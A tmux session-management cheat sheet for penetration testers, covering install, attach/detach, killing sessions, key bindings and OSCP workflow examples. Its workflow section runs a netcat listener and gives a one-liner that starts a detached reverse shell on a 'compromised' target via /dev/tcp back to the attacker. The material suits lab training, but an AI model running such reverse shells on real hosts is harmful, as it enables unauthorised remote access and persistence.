tmux — Session Management
Ctrl+F:
tmux·attach·list-sessions·-t·-d· detach ·Ctrl+b d
tmux keeps shells alive when SSH drops — essential for long scans, reverse shells, and multi-tab work on Kali or a compromised Linux host.
External: tmux Cheat Sheet
→ Commands · Reference > External links · Shell
Install
# Kali — usually preinstalled
sudo apt update && sudo apt install -y tmux
tmux -V📌 Sessions — list, attach, detach
List sessions
tmux list-sessions
tmux lsExample output:
0: 1 windows (created Sat Jul 31 22:00:00 2026)
spider: 1 windows (created Sat Jul 31 22:05:00 2026) (attached)
First column = session name/id (use with -t).
Attach to a session
# Full form — detach other clients, attach here
tmux attach -d -t <session id>
tmux attach-session -d -t <session id>
# Short form
tmux a -t <session id>
tmux a -d -t spider
# Attach without kicking other clients (shared view)
tmux attach -t <session id>
tmux a -t 0| Flag | Meaning |
|---|---|
-t NAME | Target session name or id |
-d | Detach other clients attached to that session (take over) |
-a | Same as attach |
Detach (leave session running)
Inside tmux: Ctrl+b then d
tmux detachSession keeps running in background — reconnect later with tmux a -t <session id>.
📌 Create & kill sessions
# New named session
tmux new -s spider
tmux new-session -s scans
# New session, run command, exit when done
tmux new -s listener 'nc -lvnp 4444'
# Kill session
tmux kill-session -t spider📌 Kill sessions & server
# Kill ALL tmux sessions + server (clean shutdown)
tmux kill-server
# Inside a session you want to KEEP — close every other session
tmux kill-session -a
# Kill one specific session
tmux list-sessions
tmux ls
tmux kill-session -t targetSession
# Nuclear — kill all tmux processes (avoid if possible)
pkill -f tmux| Command | Effect |
|---|---|
tmux kill-server | Gracefully kill all sessions and the tmux server |
tmux kill-session -a | Kill all other sessions; keep current |
tmux kill-session -t NAME | Kill one named session |
pkill -f tmux | Gross kill — use when server is stuck |
📌 Inside tmux — essentials
| Keys | Action |
|---|---|
Ctrl+b then d | Detach |
Ctrl+b then c | New window |
Ctrl+b then n | Next window |
Ctrl+b then p | Previous window |
Ctrl+b then % | Split pane vertical |
Ctrl+b then " | Split pane horizontal |
Ctrl+b then o | Switch pane |
Ctrl+b then [ | Copy/scroll mode (q to exit) |
Prefix is Ctrl+b by default (press prefix, release, then key).
📌 OSCP workflow examples
# Kali — listener in tmux, SSH stays open
tmux new -s rev
nc -lvnp 4444
# Ctrl+b d — detach; trigger exploit; tmux a -t rev
# Kali — scan + shell in separate windows
tmux new -s box
# window 0: nmap / feroxbuster
# Ctrl+b c — new window for notes / second nc
# Recover after SSH drop
tmux ls
tmux attach -d -t box
# or
tmux a -t boxOn target (Linux foothold): if tmux is installed, background a reverse shell or privesc script:
tmux new -d -s pwn 'bash -i >& /dev/tcp/KALI/4444 0>&1'📌 Quick cheat sheet
tmux ls # list sessions
tmux attach -d -t <session id> # attach (kick others)
tmux a -t <session id> # attach (short)
tmux new -s NAME # new session
tmux kill-session -t NAME # kill one session
tmux kill-server # kill all sessions + server
tmux kill-session -a # kill others; keep current
# pkill -f tmux # nuclear option
# Inside: Ctrl+b d # detach